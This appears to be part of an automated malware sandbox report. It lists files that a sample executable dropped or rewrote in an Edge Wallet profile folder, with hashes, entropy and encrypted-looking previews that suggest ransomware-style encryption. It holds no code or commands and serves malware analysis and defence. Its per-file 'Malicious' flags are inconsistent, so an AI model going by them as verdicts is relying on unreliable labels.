SHA-256:	A38F674A4AEF8C16B8DEE8CBD41F867973C38A1605764EAC22FEA4F9E2D13D49
SHA-512:	B219B3C1DB40A0D43019FBA641AE5F33C89595277406B869D87C19251F9B1A2F10885E9BBA6AD52B67D7EE49FB04D6F470B1749B2B35172767F3FD85897F07CE
Malicious:	false
Preview:	{. "Q.i.gf...r.&..y..G...&b.2....T.o`l..".G.n.....L.c......u.F..A/%.{WZ..h.=2.L...~..b...O.<.H."..:...5....DVRi....b..........t..+.fo......Y.\....1pf...L.H..i.u.a.oRa..N...j.B.0.ZL\:zj.<.S-D?.d8..Y..d)..;.1Jli0....2......&..H...8m.`$}..... @...d.+.]5R.L...!8..A.T^i....y...7..N.1s...G..f.).....R..r.ry.jE..o4A.KV.m...!...0Dq..%..\|.H;.F=...+...dw.8..3Y..cI.N..@=VP.....B..-..]L....z.D.B...'.e.dX...>.u~X1.....;c.q...b].vFr..u\Z.e....i.R.:.f.?.....E....9...T.S.. .z..z.....0EA...F.`..y.l#..J...'.l........qW.5^=tFT....Y.l...r...[....~.]..J.w...v.r.......73q...\G...s9.^...?..6.~.Dc^..L..,.J....].......f.q%.....y9l.uo...}..2.{>".F..}.#.4.~.....3....D......r.....k.\\|..^..D...k`..D`5..)K..I...G...Lu..2....N.............s.g..W.(..7..J...I.j;B...w............{.Co/. Gr.).b...;.y8.AyY....%.......1.$U.....i... ...."...f.R<.{9#ES..;,6.....$l..dx...;D....R.....N,....A.+Z....n~.4.....R....W....Y;...[..S..;$87......))...(a.@....9...!k>>...<.8....'...Z.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9849
Entropy (8bit):	7.981987819287832
Encrypted:	false
SSDEEP:	192:ATyHARfbAuQdReVgcKmW6i681rf2B7ko4asrsbVI6VUysXCq+:RgRfOdgOcKmmpW3sAe66ysXCr
MD5:	DC8CA30D59FBF00F4C05C885C81F28E9
SHA1:	82C66BA362B13A3DEA5FF25650FA42A7314A4A72
SHA-256:	A23BEE4986731CD26DB50068A4516834C8DCC29357F20F59D6E707243D8FF4BE
SHA-512:	682060C94C979D05BD0FC9ECE20C72FCF128F4740628FC60D90ADF8D526D77769165277C9332DA86926C627F977019E84B51655EE2852648000BF20300D75711
Malicious:	false
Preview:	{. "Cy.....M...{.wHd.M\....P$eR..9,_M...~5..b.<.Ia.8.n..R.^5..r%Bx.}{..[...z.b...........m..Cu..x_/..........,. ..5p.$..?D...P..I.e..I.L_.7..p........$7....2V.c[...>h....,.#j.E.R.:..<\..;..1.!:.Ai.......C...J+..$..:.ZK...;.\|nJ.S..Wy.LK.!..log....3XI.3......CB\|.3\|.6q.\|.I~..+....6][...\......(...G5..~$..........g.1..D#......i$Ynz..n.O.n.].9..s..."...JN5r&7.^T;r.3..M..q.mS........v.%.3...b.T{...@..>..kZ...W&.....<BZ....E.S_.L......W.IU..mZ..z...k.0r'f2X.DtH.1-..t.{U...2#.%..7..#....p.v./.iPf.....O'.....g.oH\..S..R.....0..Qv.\..<..K.!T..>Gyy...;A......k.@[...\.?..1v....").9...m.NU.z....... V.g.[pE../(.Y.......t!0..>...t)..w.\WY.....:$.q....Z.'....d.QY...H.^...mt%c.......b.Zn~j..p.r.h...."8%......Tn..<..?.\|......"..Mm\|....fl...6....~Ym..Q.?....E..z.._jd...<....z...<..83.\v..0Rq.-.m.\|[.G.N].....Zb..(...z[.).....C..Wr...Z.Um(`f...0B.{..j.<..^.#...z.......1....S.......:.....1..D...&......v../.{........Y......-..i.c.P#;F;B._....f....qw........b<

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9848
Entropy (8bit):	7.9829101882592
Encrypted:	false
SSDEEP:	192:xWr6EozSzZAQ/xu8mRTNMc7rZhXbBG3tpB88aC2bSvpwvrNdtDzmmC14+:xI6NuzH3mMwb6to8aTbSRwZdt/8
MD5:	F6863DF27F344CAD4AEF840A9FAED93E
SHA1:	A9A1224CA90CEEC655426AA10FE1881B3269A542
SHA-256:	025A1A535475BC0916507468E2C3B0A52EBA8AA709AFDB5B37F6CB8849B2F86F
SHA-512:	05E3800EC1865EACCF133F606E23B1DEA608EBE3E0164B43AA99CB226D4432E0353BFFE34408CE3CB758487DA6C6853506C28D1CB9E96F574938D81E77F27A04
Malicious:	false
Preview:	{. ".B.....PG..%{......5a.S..,...GK)(....\|...t.FQ..+..Bb-w....w......d...EtCo..P...0.eG......Wx.....)..X...iQB'.m.=I......A..Sp[q/..t....i...=...q.u..I.S4E......z.r.F..e.......Nh..d.....3..C..1e...".8r..!....'..=..x...^..D..S...w.2..1,GL...i.`-...9&Z.......!].._.i.(p...<.?z .m....g.T....2.(.eK.;.@]r.T.G).J..l.O?....E..(O....Ew.`X.P......\...E.o...'$.?.\.X.....zC....IM=.F....:u...T.(q.>..}?3..[V...i...$....A....p5...T..$...E.F.0r@^..B.P.h..D.......^.b....>aK.0l.=....,j&..C..O...>28.$.Q..8.....Lo....l........A6?..Z6....h.~E....F..Q...$..8.x.`~......K&./..1.Rb...O.8.,..O.3..X...g@.......]g1e...d...V.......F....J...U.~..b...}.MA...~.AL.......iu.~6[.I..o......8.1O...F..n........../wp.!..%.m/B..B...'(_.?..6:..]Sb.^.......0.......$h.aV.1,G.+^]..mvc........}a.ov...M.....J..kjj...L$.......\.e.\|+..E...g.......j0+F.ZK..^d.\.5^.Y...NL..x......{;G&..uFnc..M......._..74...Z...v,.Q..$....zB..)UO.ef...e.y.. .l. .> ..2<+..:q.7.g....a."c64.L.vO.*.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\id\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8741
Entropy (8bit):	7.9802066593443
Encrypted:	false
SSDEEP:	192:1iMSRSml+JqvekMjVLkDUxfKPolucowKp6/YmZFC9/M3x0+:18Z+JqmkMxwWfrlucZKp6QmZEMz
MD5:	402CA628DEAF1D24C063E3BE8915C4FE
SHA1:	58EB7211B35581A940D872CE375B3E1B73DB0A8A
SHA-256:	BE6125AB5C8E06DB2941C02F9C6052396DFAE571E60A3B9A800FA31628FB2570
SHA-512:	491A164FE3C83E2A149922A54BF89899024434D331FB05E16EAAE0C104E26FB2194E9BDAF13A9F725F3FDE561FAE8BEAAD0988133ECFE438C224DCD7B98EC375
Malicious:	false
Preview:	{. "......s>\|..=......N9.?..........t..r.-4h_/hl`.$yQ!z..}........2...`.GN......!16)v.T.c....B...k...].rU.t4...."XW.Q.....<....$...\._.c.V.0....1...A. d..E...6h....@'..+.$..Q.Kr....4K$.;`.YN\..`.....mA....J.$..7..).g.o...".p.\......?]H.a.E.....U.k.-....A..l\V.".Bl...@..E.p,z..3.d\-...qO.".....f....O".S.h.ym.QQQ{B...:.ob.b............?`+..z....V......Q...Gq..+..&.T..eO..j....q.. H....7eS..B...D..A..+.......+......8..#...../y.:O.n....TH.u^<I..:\..Y..4.{.9'.+\V M8t-.?..!....DU.....'.T...<.k}.DA.7.L.\.m...X....nx.L.....+s8Z<,....v...qE...5cAH..$.=tx..#+....n..\...}....`W..!..8.i.W. ...( >..L\|..e.@...`.f..`......=.........`J.{....fz.zd...0.]..O.D......q.....y.....@l.e.....!s)..F...u.F$D.........u].<w.r&.H........=...ya.&.q.....U...eH.2.f.....HV...<...l..A=.~io."].^...d..^...!>.=D.qF.9..M.v.V.VI?......<.cCfI.\...u...u.>2..h.....d.}...X&..2v........q..y....$."y........~..-P......X..D.Q.B..lU.P.y.A....S..g..f...&.H........U.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\it\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9110
Entropy (8bit):	7.98071724814749
Encrypted:	false
SSDEEP:	192:DyPvkOvne8FjLBbDXj9pPsKzfcpJtfuEdrtiKfToUq5WHuc7B+:0kVCXnmdd4K7oU40w
MD5:	6FF8C42E8E1623EEF86FB6C08551C9FE
SHA1:	496B2A662DEE3A2FE233895E8CA9034D2BA6E93C
SHA-256:	BDC8143EE72EBAEC34635F083F03FD3B6D4CED54F84189642F1B80C55181C826
SHA-512:	2F3FA8773B3328A146483E6AE9117EAE80A9E6A5EE7CCF17657F073086EC32DEE768689B42224A7038CB9638EA5AF08D1C46558827022A3FBD1AF64A5CC75666
Malicious:	false
Preview:	{. "]...o.Q...b..rk.n......./..f!z...s.\|...8...q.M.{4=.+.M...i1L.... `...dcQ..j..<d.'y.G.5E.fE.1.rk.6[.......`..........k.Xqn.,..?A..Y..T.....Lb.U...........W.ys..l..&#..[..S1.'GV&.O<..+..@..=.{.._D..gIk..1...`.......7#.._.g.0..q.^.I..50..b..&(Kz2..6....Z:.9..S.m...xHz..j.%Y..0%).../'.\|..B. .\|......H..~.^.....sF...c.]...O..7P.>:+.....'......V.0y...K...r..z...`..K..Y.D'P...`.4.X+..$.@.<..5\.uGg&E$..Y...........{X....n.Y.....L.O...e2..<....2rE-A...w.....%....A(l.`..c...~?g.I.c..d.=.Au~MVXZ.....D...%U....cZ...)#..] .R..O....vO>=..?+..e.}.#.o....$5qg..e..Z...4%....o.....?..U...y.m.cM...I.p.....\|......d..5.nO..k\|....g.y.B.Rx.[QX.)....+<.{a.d~...v.5..9.'I'..G..?f.'Yl. ..c.H.8...5..D....r......>....l...;..5...`c.....EC]5..\|/.j....} ..'~{.&...Z......BD.(..d^?.7...f...?Y.k2_.6..~....]@....3J.S.;.g^dcj`....%[.."9_.`.....A...l....T..v.0.Le.%-..0..ekZ Y.l...S..x..\|..$U..-{.........M1..d..4n..ZX.a....1.H.ECM..w[VPt..X..../\|.?v....Wk..w....d ..%V&

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	10300
Entropy (8bit):	7.978272805370542
Encrypted:	false
SSDEEP:	192:kWUBUrg7ZY2AnMc3CBffPLmpyJFxg3ZmaySHSdOVJ2Q6IQF2X6Vrq+:kRBUrg7ZinMckf7FxkZmYSHQTQQ6l
MD5:	CCDDD9BCC885854DCAF23392A76779EA
SHA1:	17C553AE7E60F6F5601BB89088CC90022F2991DE
SHA-256:	F710B470BA406282D13B870FCB7E32CCCCFCCF18B95EEED9161F32BA3FFAC71B
SHA-512:	34660C085B1CE593DFDC5E45912B27BE9EF7C734363135C395DB56CF07AF28B0D998157BC4BF704B04DF5908C340C1BBDBA6B47AD8755F2CCB64599150FE3159
Malicious:	false
Preview:	{. "..gv.^.'T..=...Q....,77..R.....W...Y...n;....\..m.4.....9.X._n.......'..[...O-V..........Md.yodx.>........^4..1`Y[3..&.>`i...v=ZNa\|[.dI.).e.EQ..tKa7.0 ...<...J....I..-.c..;.$2.<....SU9~L.Y9....K...pC.UK..z..@..............W.\-...2Q..7u.+.........h..c-S..s...]\..{...28..C\|.>..Q.F...T.y...S.T}b........^.5..v...H....U{.......7......y..u...Z(..rvv...4g.......L.c....C&o.Q....J..S.....U.^.x.\..K.p.>......b>..(._N$..\........$RN.-..1.......P.......a.<.+`"....I. .....Ec..$l...@k.^yO.+..5#...F,$..u.....K.f.[......"...;}.<aK.>j."..m.8...C..U.^...w..%.'W.....Gdp8...ju.....Si.-R...l. ..1.+.<j).....M=.G..V...3uH.....Q.q..G3.....}..FGPr}.....Y.~#.....-..(... !.R..J-..M]...kz.2......x.......^nys.y.t../..Z.6............HG.=.6.]!.}.....58....-.0.%.a.y....q.....z.t.g.Ejz{..f..B..z.>c..i@.v......^..R+7H...U...xS..ec....m....-.....ow......^.W......`M.....:]\n.]+2H.0..5....r.../q..PN...........6...E..@.}IV0.......g....w.S......].j.x.L...[..........Fp..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9053
Entropy (8bit):	7.977578206601704
Encrypted:	false
SSDEEP:	192:DAWtSMKcK2y3MOqes9FT1l42ulVD+Jx8BBkyFhxxP1Z7wJz+:8WtLKcK2yD2TGlVDwq8ynLP1twk
MD5:	4E2BB1010F31D106EA89FF33E7F9604D
SHA1:	42563260B895C39AB8082F934CE0B1F2CBC11A5B
SHA-256:	A0FDEC58F0948B6EE9838A2C6647ABD6AE41AD5D6F6EC235CE51D388CAFB9007
SHA-512:	E3761B5E0C5A77A0C26FF8DFB68AFDAF7830498A2C6E5CB7C0243DC6FCF856BFFF5174AF073EC2FE0ED5BB45E22E60243859129A74775FB4D0AADBC1BC02B91B
Malicious:	false
Preview:	{. ".n..[.....-{..X......L3...?w.K...gI....b....}....A.X.g.+......j/Q.Ol.OY......)...p.c.0.>p.^.n^P.T..\|r.\..Q...3...LF=.H....e"..d...k....c.O..f2$...H.z.....)...R....1...28H3...t.^`...Cc/.i.....,!;rZ...J.7..H.8...t.R...!......,_.w.,D..Z...2....$m....J!KP..."#.].E?.1...i.-E.....AB..........Kz.J. ..R..y..........\|..X.......4).#R5_.5..g<.9.....X.F.$....?....$.y.A..&0..GV\...ib.."..5\|Q.PF.;.. .].../.1u.."P..V...:../....l.."..M.A..`p.......dZ.....~......5.........I..5n ...=.\..S...4...m-.]....5.D..h!lkD..FI..;.E.5K.,_...D?.O._;..1f..3.j/..n.O.3.BJ=4.J.#.....\|C.....8...%.[$..e..e.@jr.....2n=C....O.E.....3....S.OE..w....0{@,9..l..o8..x....5....7..jn...;.......S._K5....A..zk.'C....F....9..@.`[<...x8.$q...Sc.7.Z..4..~.q...{.^..&..v..v..._......'d..\|l..z.."4.p.Y}..HDq...I.#a......g.42...a..(6..@.Xr8.nk.e.@."..s.m....#6.MG......r...N...6.g.>.x9j.!.-......+...\AIq?.....h...+_t.k..!.9.. ......C.]28....E.`(`.vxRE.."y.5X........,<..f..A..(...V.Kheq.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9254
Entropy (8bit):	7.980812912321141
Encrypted:	false
SSDEEP:	192:YMRzibcUiGYiLgE6Cbrceat7R5qIVkdfHsRE5/u86POMI1su/I+:FzibPHYieCPaLT+RHsR4b62MI1si
MD5:	6870C3FA09CAA4C6FF31BF40142D8DD6
SHA1:	D1C3E0627974E522B7773957CA5126CEB06EE0E4
SHA-256:	5BAF11C57DB737A049A53023BCE1D0D7025FF5D7C05BBEE89AB58AE1ABF2450C
SHA-512:	EA521D07411C3798B4D03D8BCCD23AFA25AD6AF49EE5E46099660E46E6C95035DB06D134559F1019FC22645172B0AB37C359FB915945704053EBC947D0E99012
Malicious:	false
Preview:	{. ".uy....?.sq.x.C...$..smG.8Q.~-A.....t+....o<.d.......zB..+\|.....j..j..fFsd.....Y+....O..s..A......n..?C(...JP$.{F....t......~..n......Q..8.C..9..o.;....8..m.\D.d....z..2...N...!...ks.9.jd..-q.b.d............]?cBMi.lb.x..f...1..Z.....-..'......w...<`.....Ey..&>.5[.G.......W.....Q.C..JfF....L.7.....2......5V....4...u.=..lN8>...4@F..@8J.....O....bw..R.....g.M..Wr...1.].b....--.IC....0..t..$.W.W"..8.6.1..B~W.T.&-...X....-eo8v.. zr.c..S......v..Oi....#.X.b......[)W.\..\|y....g.}.X.s.s......k._..j+^.n.toS+v7Y...u...N6Xc...%...keM-..Y.....D....o.&!.U..n.Xr_".+6Z.....-8'.%...u.V]mx)A.'...m=...:......l(<..Ya...*...#..&Jm..8.....J.Dw.:c..TXUO...=...?~..V@..F.Q..u.6....>.1e5M.I ..o...&.......l(H=.....]u$V.M....M.Ef..'g/..1....FJ....S;+O.z...g...M.c...._......2......o.a.C....5.7.......K/x..{..U...rE...^........_.-.pP._.a..&.j..".. ..-.;.n..RY>.....xH@w...z.!..#...0+.j......l)..%.......0`<.`5.)..<.(....[a+O<....Ox.......Cv..s...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9397
Entropy (8bit):	7.983459093775407
Encrypted:	false
SSDEEP:	192:jwbspYi45jNkmfzgMiUzGGCEfTFzN+L0JY0rrVTRISv2jdImU+:j7QNZguJTlN+QeQrVlIjdIy
MD5:	A68A60442EED95A76F920E328D1CAD85
SHA1:	5DBDC8ED84DA610FA13CA27EFB089A92665A065D
SHA-256:	D7F3A6520E57F0C91D29544BEA8441D87CEFE9E68696EBC8F2B80674FA6BBA90
SHA-512:	8CED2F0A66F017903E63622ADAF6070240C8D031FDB29CA180C887FCFCD2AB7D4C20ADD5AAA48CA8B8E1204E2178A15ACCD5972D540F656F64A49440AFE07149
Malicious:	false
Preview:	{. "..m...3..>..l..5......G..5.p.a\EC/.X...>...y......f1T..n)(e...L...+l...SB<..Lu..\|..;7[...`.C. 7...z..B........k.v.....1l...G...:.w...M.,..."..<....R.@...]l..C..........d....Pf.5...8.[.cCu.%?L..`..O...5.b.."..N...m..8..g....'.Ba.RR\|f.......&q....0..Qj...RN..+.[..;.9....>....8.f... ..#..:^.............7.g.......&......t..<[(.......!V.vo..b}^W:Mk2j=...n8d.zG....v.z.#BI.s.Y~..L.;=$E)...k...........bF.jO..J.o........#.9.N1+.S:..\|......4.5P...f./.....o...'8...8.'.......}{..\....g.3..m6..h4.\A..O.....c..........^so...%X..2.T..H.w.6j..g/...{...".3...f....A#./.(../...4Rk....L...&....Y.....S.G....".1...,I.X.C....N.;....z....J..6+.?..y@..C..h.g..ZJ..'..J...`....Myst`E$.S.O:?>.........Df.....P....\....N.Z.oC.9...F..._i.R......yh:.Xd...D.p...7.;....... @50d.a...ez.W\u.?..0.].......NDjL.~w.%^r..]..&=M.mT.^.V...a..R.+e...[K.e+..g.&...oy...C.j..i..?....`p.(.zz.9..[..}.. ,s&zX..).......B....B.V......U..M....3..P..6..9.t...[.b...*BN.\|

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	12649
Entropy (8bit):	7.98270410783521
Encrypted:	false
SSDEEP:	384:rsAAjGSziQZD5VvFkidzZiCwVcjVojRcqSDwwagRuR8:o/jGQTZD55iidAhr+qSjagN
MD5:	281CB3CAC19181A706CA6133B065B9BA
SHA1:	1C25CCD43C12E632408AC09C5B400AC56EF0CED4
SHA-256:	A87B61671B6BF830683C02C7DB2BB18BD68E5C74004BAEF4903A4F45FAFCC331
SHA-512:	E9DCD2BEFF541625446890E4E1CB9A259359E8AE6DBFEF31AF25368B536A548FB55A7C915410DF9B37BC5DC86DC0CC40680CB244D41394C5E72091BAD81B5A7A
Malicious:	false
Preview:	{. ".v......"P..Yj>.!.....8.zy. .-....Y%.f'..<'A...N..@.....B..+.'..`&....?.....m."T.Jy....s.R.O;^....B..60.....z..%`..2u..?G./l.r5M.n$...!.P.}.....T.6.7..9L...kR&....g8.=RG.:y.}M..p......m..d.q..RJ.1....... a.<>.....rJ...`.....8H..L..8..WrL..A.a.....&..e....9....LR...W.2.o.........7f.....*2.....7:...ug+...0cN..D....=2..X.v.B.V?.......u......b..........t.......4].l:....N..}'...O...q..j@w..S.UA.vv............Y.g...E.u....A\.o.^,.._...NT.@z.:b..!.>w5L...x..`.Q..]>2+.Fx..K.<[D.6.$......n....p...D..D.&...%:.....HZq..4.;.5......<.FO\|.ah6>.L..p.....p.n.......... ...7O....l....~. ...n.d.3af$.g..j.;.P.X..^..-..z.k,....s..10.>.W.=....;-..3.n.u4..L......N.\|.+.^c./..H[.....+a../.Pc.-6!.F.7.c.QM.A..r....d.......... ..(.;...?.s.....^.7}m.......P..........,..w,.B.F.N..-..rV.5I...CO.^....]..(.....:-..%\|..^j....4^..'9....Vz....9..1.....'.......ME..8IS.Z8..L.C...#.FB.:.X.R5....y..I..ak.....`..]..Bh.0(..(.\|+p.a.OL......F\.)......!.....h.....\|.qH.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8466
Entropy (8bit):	7.982135281528154
Encrypted:	false
SSDEEP:	192:fav074RxW2oVQkiBQQ5m85U8yNjjvF0Vn6hSWyuhec9aun+:fac7c/epi9HJajjvyVwSWyiN9q
MD5:	AD55DC57F23F591935F9A72384530D3A
SHA1:	0BCF5CB584B35F89EF6250588BADD17EFCDBBA45
SHA-256:	BD8BCE937EEBBF1281B2F5CFF0FC9DE6690F946744A70D9A39665335506ACB1D
SHA-512:	12F5D056A69E563EAA146592F7381E3E29FAFE9E92D124FA36BDFABB6BE6575B1EEA2F61A4E47D3BE2DCEBBB78079B7A63122B0FAB7D81CA191ACFA1C93D5212
Malicious:	false
Preview:	{. "J...I.+.{2....../...qL.v......'v...0U.S...>.z.j}................DP.=:.7...I.l.....9../....j#U....j...........G...o.)..}!...A.....@a.9]!~.......W..=...N..I33...My.g..tBG.].m?.\f..{.....C..e.$29....F.{..L8.2.....PS.#_..T ..t.}{..cJ..F..v...G..).....j.B.G.l...b.,}i...bX..d.})F.Mud<3.fV..........@..@R..^.....RB......~S.m0d....d....H...D%]..6......P.#...t.o.0C...u..ob..b..t.._......[z.&.nI.(;$y...1...'..wwR....(W...3...W......Q..d..~..z .}.\.E.#.s......}....]...C9.PE...G.w....a.\dp/....W..........."0..p..F%...&S.F..).El....[8..1j.8G...q.....M.b..M..4C..a."<.....o...Xph..N.. .d.w........%...'.~.lW......o.'."...{...v...F-U.....D...c[...X-?.C...GS...2.......l...(.....R.p.....+...zC..R.=.[Qy.O...a...M.....g..i.+.N..i.0Xc4/.ri..+B#s.N...g[..~......t.....Us..S....Y5e.2...9..a..@.74..~.:.q.h.....4=...s;....M&..Z..;.H...s.dS.S.,O>......+'S8..S..e>...^..,`....p.H..m.c.U....K.Dl[..7=.*.......J)7...q.o.0...$...^.T..:/.p\|HW..3.sC~.9....E..C.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7926
Entropy (8bit):	7.978617559606827
Encrypted:	false
SSDEEP:	192:bUrXuO9TfJ3WZSEaYKs43Ejx2Xy4USf08XT8+:bM97RWte3+xZ4P00
MD5:	8FEA97D950CB017C905D0D1D3C13EDAA
SHA1:	07D1A631CC7699FA13D1861B797AAEBFDB5E99FB
SHA-256:	843438AA69DDC34E5B275863D23743D578B2A14DDAEC48C18FE0F8B34E28B45F
SHA-512:	6882714C56A12A8B46DCE1335629BDA4F30674392383597B23E2ABD8254E6DCF10F8FEFD62036D687D2907F1397ECB25C4140B5C34E40E4EC125BD2DE31DE546
Malicious:	false
Preview:	{. "f...I..PW.^0.v=..H.3qZ%k.......P......&...R.0..a.....v...v1.............XY..h..Q.........4.^;7....;=%......Y.."....bD.yt.(..<.:s.......\|\..!..o....M........^....\|......c4.'T`.s..D+Q. . .}..H.....i3.CI../..r;..t\.Y(...d3.1....M.S?L._.n6...U.U>%Z..n0...e.p.c.`.^_.)...1w..~..\~........h...H.l...5..^/....^.j.{.Y......z..,[..=..o..>..:)#xfo(]G..v.Q`.@<y}..<l......k.Hyy...\.C\|q2:.Wg.u.....#;b.V...s..b.....U...gy.........6......r.......3s......7.M...[.9...kNI.:L.=F(.P..{.a.I.ZP..9g.Z$...t%......$....q.; c.-j.v.sV.v..5.{..\....".M.U..$5>.H...../It...R.&...N..m.o.a..+.u..g1..DX...x!..eH.....~..hL%..V....i/...5.....t.}.d..,i..E..4..h..o..u.e...^..l.M.{.PQ.-.m.;.......`HU+..X..y.3N..z. .v. ...c......b.B>h.!s.xp...O..s.3l...R<..........2T.........]Gy-.d....rC..o.jX.@..X;..k...y..'....<>=...e.y.y....+.P.i.....(0..n....^..T...tn..z.@......7'k.....W.&9.vU.B...S\|.@..E...tQ#........Ira7......9.....H...W3j...8....+........yd.y.W.6..m1.l......9I->..m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\README.md

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	7.382014524026252
Encrypted:	false
SSDEEP:	6:SzbYf8fAJUa8l9ImpMInede+ERIvuVp0AzJCSTbUPK60uUVPdQQW3cii96Z:kOhEEYLRCuVpXJ1bWKTlQQscii9a
MD5:	E0AEB7D50D2197AE5AD270C20654F9E2
SHA1:	4ED7CFEE0021652C635F46CEBFD4B5471B4BA7C5
SHA-256:	A36037E73697F7337A29623F557D455153CA2C9F700915D3845BD62BEBB1BD2E
SHA-512:	F1A11575987CF50CEDDCD748A8ACCA7D149FCCED94F15BB03558CCF7843ED33B8EBCB9BE878130D40403965F3E31B6760B981E74C0851CBEF40DD2719CAA359B
Malicious:	false
Preview:	# Dis......../.R.GB.5...MK...5H...`..x.%.......?Jv....p....jqn..`.....t.....X4.....q. 8\|.=..y...>0.qWm...2b...j.>-S.z3.7...J............+2.H..d..K...dZ..~.0.u..r.......=.[:T..........!....PC..K.b.Fn....\|...77..L,o.....bZ.9..~.......\.......D.WW.Z....#..b....f.~./I..>...Zjs..7....h..I.g...r=....9[....lZ...^d3D:.0(bh.n...`G..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	21010
Entropy (8bit):	7.991792354001325
Encrypted:	true
SSDEEP:	384:z6B1lFOeaUDDuTPAAyXO8y/09iexMmn4NFfxChzYjcncraMfYndjeh:evPOaRO+9ieSe4NVxCxMcn2fidqh
MD5:	0642479B7B8993EDA9F4E383A43C894A
SHA1:	1316DC11E7D986CA18B4652CAE7FC4A4C47E8CB6
SHA-256:	1C4E48ABB7457924520986CC08644F78111F476ED21F13F947E76EB12E8D88D4
SHA-512:	C04F5D4B7011680E845BC59052C8A752636ED22320C9A9044F9F70E1F73631F32E05EB45C2D993D97AA7F465B57A0BF82DD298D40A003C949B55D7A78E6078CE
Malicious:	true
Preview:	{. ..m..K..c.&.#zk.ni....y78.!...ENI.3)"\|r.h..d......:.#..v=.N.L...\|....I.`....Lm..'Q...R.....i$.......9.h...W.. ...e.N. ...3R.I:.-b.......-FMN..p.J_...e.UZ}..!..%?...jW\|.Z...\."a\.y..w.x.7B.%-...5.S...+2....S..g-.+..L...m...i..o..}..).....'q..=n.A.&..>wFP;\|[.V..k..\|....t=_x..[.9..8.W..,..(-..~..<.X.V<.m.....P.s7p...O...v+....N.T.1.^.]..<..f.....o.....5&".z.Q.-...l..X.T.(X...=.Q.Q....f.k=tZ........[...y &). .2uuy.5.I..d.o.t.5...n..5W.._.0F...C{.&...Ko.}.^.M....C......q7...&".[..j..<.u.?......z.;.\|.T.u.=.....]..Ft.........Kf0.hf.hhV...<..N%Q.....\\|,.....F.i.-r..T...b5F.....j...y]"5...... j^m\G..u....gX...t#dG.H+.@OU..i.......[@...TMZi.s..v.....=T....s.....KS......F.X.eC.....?.X..#..D@..L..I.qre. .Vf.O..nu..T3._)....C%..A.........j."....U5.J...-.&sX."e....H].y$.W.Mq?..e>..g}.n.w......o,pFd.....vt.Y&.Q1.&....\|1f.[#h....%..,.`k......T..g%.r..p.&k.At...Yd.uvM.P.2C,......c..roH......\|8.......L.M2`%..S..N..!7...A..G....l....d.gL....2..q........{`.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	148627
Entropy (8bit):	7.998562991691955
Encrypted:	true
SSDEEP:	3072:Mw8z4tSnTWm1hrDVgj+Cx65N6FSOa52/8L1e18Rz+gox58cb:Mj4twWuhPVgj+Ccp3148Rz+X
MD5:	77C82B2B13E47649BF3E217FECD4AA21
SHA1:	9BB3D7F72FB9EDC48C29B6A7ECF82B8EA5449BDE
SHA-256:	9F22D0DA88738457C60F47C06AC993A0E541C8F7D55AE65BB22463EFD11A682F
SHA-512:	34D554CBD21B1BDD5C0514E38BC5747E68CE4A34E95A44E70C94DE5B2FBD10F87A9FB6E8B724F61D369304B51E386DB9D7AE9212CB4EDFB79728B8F2AA2B1F18
Malicious:	true
